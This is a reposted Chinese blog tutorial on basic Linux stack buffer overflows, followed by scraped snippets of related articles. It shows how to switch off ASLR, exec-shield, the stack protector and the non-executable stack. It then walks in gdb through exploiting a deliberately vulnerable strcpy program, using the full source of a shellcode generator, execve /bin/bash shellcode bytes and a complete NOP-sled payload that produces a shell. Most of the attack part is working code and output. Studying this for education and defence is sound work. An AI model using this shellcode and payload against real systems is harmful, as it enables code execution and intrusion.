Linux下基本栈溢出攻击【转】

转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415

版权声明:本文为博主原创文章,未经博主允许不得转载。

目录(?)[-]

  1. 转载请注明出处httpblogcsdnnetwangxiaolong_china
  2.  
  3. 1    Linux栈溢出保护机制
  4. 1   基本栈溢出攻击原理及实验

转载请注明出处:http://blog.csdn.net/wangxiaolong_china

 

1.1    Linux栈溢出保护机制

基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。

1.       内存地址随机化机制

在Ubuntu和其他基于linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。

关闭内存地址随机化机制的方法是:

sysctl –w kernel.randomize_va_space=0

2.       可执行程序的屏蔽保护机制

对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。

关闭可执行程序的屏蔽保护机制的方法是:

sysctl –w kernel.exec-shield=0

3.       gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

4.       ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

 

1.1   基本栈溢出攻击原理及实验

下面,将用一个栈溢出攻击的例子的方式,来详细的讲解基本的栈溢出攻击的详细方法步骤。

在进行试验之前,先利用上面讲解的方法,将相应的栈保护机制关闭掉。

[cpp] view plain copy print?

  1. root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0  
  2. kernel.randomize_va_space = 0  
  3. root@linux:~/pentest# sysctl -w kernel.exec-shield=0  
  4. error: "kernel.exec-shield" is an unknown key  

代码如下:

[cpp] view plain copy print?

  1. root@linux:~/pentest# cat vulnerable.c  
  2. #include <stdio.h>  
  3. #include <string.h>  
  4.   
  5. int main(int argc, char **argv) {  
  6.       
  7.     char buffer[500];  
  8.     strcpy(buffer, argv[1]);  
  9.   
  10.     return 0;  
  11. }  

编译源码:

[cpp] view plain copy print?

  1. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c  

用gdb调试该程序:

[cpp] view plain copy print?

  1. root@linux:~/pentest# gdb vulnerable  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>...  
  11. Reading symbols from /root/pentest/vulnerable...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080483c4 <+0>:   push   %ebp  
  15.    0x080483c5 <+1>:   mov    %esp,%ebp  
  16.    0x080483c7 <+3>:   and    {1}xfffffff0,%esp  
  17.    0x080483ca <+6>:   sub    {1}x210,%esp  
  18.    0x080483d0 <+12>:  mov    0xc(%ebp),%eax  
  19.    0x080483d3 <+15>:  add    {1}x4,%eax  
  20.    0x080483d6 <+18>:  mov    (%eax),%eax  
  21.    0x080483d8 <+20>:  mov    %eax,0x4(%esp)  
  22.    0x080483dc <+24>:  lea    0x1c(%esp),%eax  
  23.    0x080483e0 <+28>:  mov    %eax,(%esp)  
  24.    0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>  
  25.    0x080483e8 <+36>:  mov    {1}x0,%eax  
  26.    0x080483ed <+41>:  leave    
  27.    0x080483ee <+42>:  ret      
  28. End of assembler dump.  
  29. (gdb)  

此时在调用strcpy之前,main函数栈帧结构分析如下图所示:

根据此时的栈帧分布可知,要想控制eip的值,就必须往buffer[500]中至少填入508B的内容。

接下来我们继续用gdb调试:

[cpp] view plain copy print?

  1. (gdb) b *main+41  
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.  
  3. (gdb) r `perl -e 'print "\x41"x508'`  
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`  
  5.   
  6. Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11  
  7. 11  }  
  8. (gdb) c  
  9. Continuing.  
  10.   
  11. Program exited normally.  
  12. (gdb)  

往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>:       and    $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。

[cpp] view plain copy print?

  1. (gdb) disass main  
  2. Dump of assembler code for function main:  
  3.    0x080483c4 <+0>:   push   %ebp  
  4.    0x080483c5 <+1>:   mov    %esp,%ebp  
  5.    0x080483c7 <+3>:   and    {1}xfffffff0,%esp  
  6.    0x080483ca <+6>:   sub    {1}x210,%esp  
  7.    0x080483d0 <+12>:  mov    0xc(%ebp),%eax  
  8.    0x080483d3 <+15>:  add    {1}x4,%eax  
  9.    0x080483d6 <+18>:  mov    (%eax),%eax  
  10.    0x080483d8 <+20>:  mov    %eax,0x4(%esp)  
  11.    0x080483dc <+24>:  lea    0x1c(%esp),%eax  
  12.    0x080483e0 <+28>:  mov    %eax,(%esp)  
  13.    0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>  
  14.    0x080483e8 <+36>:  mov    {1}x0,%eax  
  15.    0x080483ed <+41>:  leave    
  16.    0x080483ee <+42>:  ret      
  17. End of assembler dump.  
  18. (gdb) b *main+3  
  19. Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.  
  20. (gdb) b *main+6  
  21. Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.  
  22. (gdb) r `perl -e 'print "\x41"x508'`  
  23. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`  
  24.   
  25. Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4  
  26. 4   int main(int argc, char **argv) {  
  27. (gdb) i r esp  
  28. esp            0xbffff1b8   0xbffff1b8  
  29. (gdb) c  
  30. Continuing.  
  31.   
  32. Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4  
  33. 4   int main(int argc, char **argv) {  
  34.  (gdb) i r esp  
  35. esp            0xbffff1b0   0xbffff1b0  
  36. (gdb)  

通过调试可以看到,在执行“0x080483c7 <+3>: and    $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。

[cpp] view plain copy print?

  1. (gdb) r `perl -e 'print "\x41"x516'`  
  2. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`  
  3.   
  4. Program received signal SIGSEGV, Segmentation fault.  
  5. 0x41414141 in ?? ()  
  6. (gdb)  

可以看到溢出成功!

下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:

[cpp] view plain copy print?

  1. (gdb) b *main+41  
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.  
  3. (gdb) r `perl -e 'print "\x41"x516'`  
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`  
  5.   
  6. Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11  
  7. 11  }  
  8. (gdb) i r ebp  
  9. ebp            0xbffff1a8   0xbffff1a8  
  10. (gdb) i r esp  
  11. esp            0xbfffef90   0xbfffef90  
  12. (gdb) i r eip  
  13. eip            0x80483ed    0x80483ed <main+41>  
  14. (gdb) x/550bx $esp  
  15. 0xbfffef90: 0xac    0xef    0xff    0xbf    0xf6    0xf3    0xff    0xbf  
  16. 0xbfffef98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00  
  17. 0xbfffefa0: 0xa4        0xf0        0xff        0xbf    0x08    0x00    0x00    0x00  
  18. 0xbfffefa8: 0x3c    0xd5    0x12    0x00    0x41    0x41    0x41    0x41  
  19. 0xbfffefb0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  20. 0xbfffefb8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  21. 0xbfffefc0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  22. 0xbfffefc8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  23. 0xbfffefd0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  24. 0xbfffefd8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  25. ………………………………………………………………………………………………  
  26. 0xbffff198: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  27. 0xbffff1a0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  28. 0xbffff1a8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  29. 0xbffff1b0: 0x00    0x00    0x00    0x00    0x54    0xf2  
  30. (gdb)   
  31. (gdb) stepi  
  32. 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11  
  33. 11  }  
  34. (gdb) i r ebp  
  35. ebp            0x41414141   0x41414141  
  36. (gdb) i r esp  
  37. esp            0xbffff1ac   0xbffff1ac  
  38. (gdb) i r eip  
  39. eip            0x80483ee    0x80483ee <main+42>  
  40. (gdb) x/10bx $esp  
  41. 0xbffff1ac: 0x41    0x41    0x41    0x41    0x00    0x00    0x00    0x00  
  42. 0xbffff1b4: 0x54    0xf2  
  43. (gdb) stepi  
  44. 0x41414141 in ?? ()  
  45. (gdb) i r eip  
  46. eip            0x41414141   0x41414141  
  47. (gdb)  

既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。

接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:

[cpp] view plain copy print?

  1. /* 
  2. [] Shellcode Generator null byte free. [] 
  3. [] Author: certaindeath            [] 
  4. [] Site: certaindeath.netii.net (at the moment under construction)   [] 
  5. [] This program generates a shellcode which uses the stack to store the command (and its arguments).   [] 
  6. [] Afterwords it executes the command with the system call "execve". [] 
  7. [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.   [] 
  8. */  
  9. #include <stdio.h>  
  10. #include <stdlib.h>  
  11. #include <string.h>  
  12. #include <unistd.h>  
  13. #include <linux/types.h>  
  14. #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command  
  15.   
  16. void print_c(__u8*,int);  
  17. void push_shc(__u8*, char*, int*);  
  18. int main(int argc, char *argv[]){  
  19.     char cmd[255], *a;  
  20.     FILE *c;  
  21.     int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;  
  22.     __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};  
  23.   
  24.     if(argc<2){  
  25.         printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"  
  26.                "|      Shellcode Generator      |\n"  
  27.                "|        by certaindeath        |\n"  
  28.                "|                               |\n"  
  29.                "|  Usage: ./generator <cmd>     |\n"  
  30.                " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");  
  31.         _exit(1);  
  32.     }  
  33.     a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));  
  34.   
  35.     //find the command path  
  36.     a[0]=0;  
  37.     strcat(a, "whereis ");  
  38.     strcat(a, argv[1]);  
  39.     c=popen(a, "r");  
  40.     while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));  
  41.     while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));  
  42.     cmd[--k]=0;  
  43.       
  44.     if(k==0){  
  45.         printf("No executables found for the command \"%s\".\n", argv[1]);  
  46.         _exit(1);  
  47.     }  
  48.   
  49.     if(strlen(cmd)>254){  
  50.         printf("The lenght of the command path can't be over 254 bye.\n");  
  51.         _exit(1);  
  52.     }  
  53.   
  54.     for(i=2;i<argc;i++)  
  55.         if(strlen(argv[i])>254){  
  56.             printf("The lenght of each command argument can't be over 254 byte.\n");  
  57.             _exit(1);  
  58.         }  
  59.     //work out the final shellcode lenght  
  60.     b=(k%2);  
  61.     b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);  
  62.     totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);  
  63.     for(i=2; i<argc;i++){  
  64.         k=strlen(argv[i]);  
  65.         b=(k%2);  
  66.         b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);  
  67.         totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);  
  68.     }  
  69.     totl+=4*(argc-2);  
  70.     printf("Shellcode lenght: %i\n", totl);  
  71.   
  72.     //build the shellcode  
  73.     shc=(__u8 *)malloc((totl+1)*sizeof(__u8));  
  74.     memcpy(shc, start, 2);  
  75.     if(SETRUID){  
  76.         memcpy(shc+shp, struid, 10);  
  77.         shp+=10;  
  78.     }  
  79.     if(argc>2)  
  80.         push_shc(shc, argv[argc-1], &shp);  
  81.     else  
  82.         push_shc(shc, cmd, &shp);  
  83.     memset(shc+(shp++), 0x89, 1);  
  84.     memset(shc+(shp++), 0xe6, 1);  
  85.     if(argc>2){  
  86.         for(i=argc-2;i>1;i--)  
  87.             push_shc(shc, argv[i], &shp);  
  88.         push_shc(shc, cmd, &shp);  
  89.     }  
  90.     memset(shc+(shp++), 0x50, 1);  
  91.     memset(shc+(shp++), 0x56, 1);  
  92.     if(argc>2){  
  93.         for(i=argc-2;i>1;i--){  
  94.             memset(shc+(shp++), 0x83, 1);  
  95.             memset(shc+(shp++), 0xee, 1);  
  96.             memset(shc+(shp++), strlen(argv[i])+1, 1);  
  97.             memset(shc+(shp++), 0x56, 1);  
  98.         }  
  99.         memset(shc+(shp++), 0x83, 1);  
  100.         memset(shc+(shp++), 0xee, 1);  
  101.         memset(shc+(shp++), strlen(cmd)+1, 1);  
  102.         memset(shc+(shp++), 0x56, 1);  
  103.     }  
  104.     memcpy(shc+shp, end, 16);  
  105.     print_c(shc,totl);  
  106.     return 0;  
  107. }  
  108. void print_c(__u8 *s,int l){  
  109.     int k;  
  110.     for(k=0;k<l;k++){  
  111.         printf("\\x%.2x", s[k]);  
  112.         if(((k+1)%8)==0) printf("\n");  
  113.     }  
  114.     printf("\n");  
  115. }  
  116. void push_shc(__u8 *out, char *str, int *sp){  
  117.     int i=strlen(str), k, b, b1, tmp=i;  
  118.     __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};  
  119.     memcpy(out+(*sp), pushb_0, 6);  
  120.     *sp+=6;  
  121.     for(k=0;k<((i-(i%4))/4);k++){  
  122.         memset(out+((*sp)++), 0x68, 1);  
  123.         tmp-=4;  
  124.         memcpy(out+(*sp), str+tmp, 4);  
  125.         *sp+=4;  
  126.     }  
  127.     b=(i%2);  
  128.     b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);  
  129.     if(b1){  
  130.         memset(out+((*sp)++), 0x66, 1);  
  131.         memset(out+((*sp)++), 0x68, 1);  
  132.         tmp-=2;  
  133.         memcpy(out+(*sp), str+tmp, 2);  
  134.         *sp+=2;  
  135.     }  
  136.     if(b){  
  137.         memcpy(out+(*sp), pushb, 6);  
  138.         *sp+=6;  
  139.         memcpy(out+((*sp)++), str+(--tmp), 1);  
  140.     }  
  141. }  
  142. /* 
  143. Here is the assembly code of a shellcode which executes the command "ls -l /dev". 
  144. This is the method used by the shellcode generator. 
  145.  
  146.     .global _start 
  147. _start: 
  148.     xorl %eax, %eax         ;clear eax 
  149.  
  150.     subl $1, %esp           ; "/dev" pushed into the stack with a null byte at the end 
  151.     movb %al, (%esp) 
  152.     push {1}x7665642f 
  153.  
  154.     movl %esp, %esi         ;esp(address of "/dev") is saved in esi 
  155.  
  156.     subl $1, %esp           ;"-l" pushed into the stack with a null byte at the end 
  157.     movb %al, (%esp) 
  158.     pushw {1}x6c2d 
  159.  
  160.     subl $1, %esp           ;"/bin/ls" pushed into the stack with a null byte at the end 
  161.     movb %al, (%esp) 
  162.     push {1}x736c2f6e 
  163.     pushw {1}x6962 
  164.     subl $1, %esp 
  165.     movb {1}x2f, (%esp) 
  166.  
  167.                     ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack 
  168.  
  169.     push %eax           ;the NULL pointer pushed into the stack 
  170.     push %esi           ;the address of "/dev" pushed into the stack 
  171.  
  172.     subl $3, %esi           ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev" 
  173.     push %esi           ;to find the address of "-l" and then push it into the stack 
  174.  
  175.     subl $8, %esi           ;the same thing is done with the address of "/bin/ls" 
  176.     push %esi 
  177.  
  178.     movb $11, %al           ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0) 
  179.     movl %esi, %ebx         ;is executed 
  180.     movl %esp, %ecx 
  181.     xor %edx, %edx 
  182.     int {1}x80 
  183.  
  184.     movb $1, %al            ;_exit(0); 
  185.     xor %ebx, %ebx 
  186.     int {1}x80 
  187. */  

使用方法是:

[cpp] view plain copy print?

  1. root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c  
  2. root@linux:~/pentest# ./shellcode_generator /bin/bash  
  3. Shellcode lenght: 45  
  4. \x31\xc0\x83\xec\x01\x88\x04\x24  
  5. \x68\x62\x61\x73\x68\x68\x62\x69  
  6. \x6e\x2f\x83\xec\x01\xc6\x04\x24  
  7. \x2f\x89\xe6\x50\x56\xb0\x0b\x89  
  8. \xf3\x89\xe1\x31\xd2\xcd\x80\xb0  
  9. \x01\x31\xdb\xcd\x80  
  10. root@linux:~/pentest#  

现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):

#################################################################

“\x90” * 431  +  shellcode(45) +  shellcode地址(4字节) * 10  ==  516B

#################################################################

其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。

到目前为止,我们已经构造出了我们的溢出代码,如下:

[cpp] view plain copy print?

  1. (gdb) run `perl -e 'print   
  2.   
  3. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`  
  4.   
  5. The program being debugged has beenstarted already.  
  6.   
  7. Start it from the beginning? (y or n)y  
  8.   
  9. Starting program:/root/pentest/vulnerable `perl -e 'print  
  10.   
  11. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6  
  12.   
  13. \x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",  
  14.   
  15. "\xac\xef\xff\xbf"x10'`  
  16.   
  17. process3724 is executing new program: /bin/bash  
  18.   
  19. root@linux:/root/pentest# exit  
  20.   
  21. exit  
  22.   
  23. Program exited normally.  
  24.   
  25. (gdb)  

可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。

到此为止,栈溢出攻击成功。

 

附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。

时间: 2024-09-10 11:31:59

Linux下基本栈溢出攻击【转】的相关文章

Linux下缓冲区溢出攻击的原理及对策

前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患. 历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了.这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给

Linux下的APT攻击工具HDD Rootkit分析

一.概况 前段时间,卡巴斯基捕获到Winnti网络犯罪组织在Windows下进行APT攻击的通用工具--HDD Rootkit.近期,腾讯反病毒实验室在Linux系统下也捕获到同类工具.Winnti组织利用HDD Rootkit在Windows和Linux系统下进行持续而隐蔽的APT攻击.经分析发现,HDD Rootkit先是篡改系统的引导区,然后在进入Linux系统前利用自带的Ext文件系统解析模块,将隐藏在硬盘深处的后门文件解密出来后加入到开机启动脚本或系统服务里.目前受攻击的系统有Cent

linux下防DDOS攻击软件及使用方法详解

  互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. 一.什么是DDOS攻击? DDoS也就是分布式拒绝服务攻击.它使用与普通的拒绝服务攻击同样的方法,但是发起攻击的源是多个.通常攻击者使用下载的工具渗透无保护的主机,当获得该主机的适当的访问权限后,攻击者在主机中安装软件的服务或进程(以下简侈怔理).这些代理保持睡眠状态,直到从它们的主控端得到指令,

Linux下防止ddos攻击(原创)

前言  虚拟主机服务商在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等.通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长.比较彻底的解决方法是添置硬件防火墙.不过,硬件防火墙价格比较昂贵.可以考虑利用Linux 系统本身提供的防火墙功能来防御.SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问. Linux内核提供了若干SYN相关的配置,加大SYN队列长度可以

Linux下DDOS攻击检测与防止方法

1.利用netstat 工具来检测查看SYN连接 netstat -n -p -t Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name tcp        0      0 192.168.0.200:5050         192.168.0.38:4

[翻译]现代Linux系统上的栈溢出攻击【转】

转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E7%9A%84%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/ 现代Linux系统上的栈溢出攻击 2012.12.21 - 06:56 - jip 预备知识: 对C语言和 X86_64 汇编语言有基本的了解 ++++++++++++++++++++++++

解决linux下arp攻击的方法

一般Windows用户可以使用antiArp防火墙,但是有些计算专业的朋友们由于工作或其他原因使用的是linux系统,那么linux下arp攻击怎么办呢?下面就是一位高手解决linux下arp攻击的方法,大家可以学习一下. 高手用的是fedora core 6,先把几个镜像文件挂上,用关键字 arp 一搜,就搜到了arptables,和arpwatcher 首先是arpwatcher了,它好像只能监控本机ip/arp地址的改变之类的,好像不能防止arp攻击. 再一看arptables,立马想到了

Linux下DDOS攻击木马分析报告

本文讲的是Linux下DDOS攻击木马分析报告,在最近的一次给用户做服务器系统安全检测的过程中发现一台服务器,频繁向外发包,网页打开缓慢,上服务器提取了样本的情况分析如下: 1. 样本基本信息 2. 样本概述 样本解密数据用以配置,安装各种不同的启动项,远程连接ip:www.linux#cc:6001(由于文件路径不同所连接的端口不一样,但是ip不变).生成不同路径下的副本来执行守护,过滤等,释放ss.netstat等执行过滤病毒,木马端口信息.根据返回信息实施各种不同的类型的DDOS攻击. 3

用ROP进行栈溢出攻击Linux服务器

通过Protostar stack6演示Linux下ROP的简单使用,ROP就是所谓的Return Orientated Programming,早期也叫ret2libc,思路是一样的,只是平台换到了Linux下而已. 0×01. __builtin_return_address函数 先介绍下__builtin_return_address这个函数,这个函数接收一个参数,可以是0,1,2等.__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走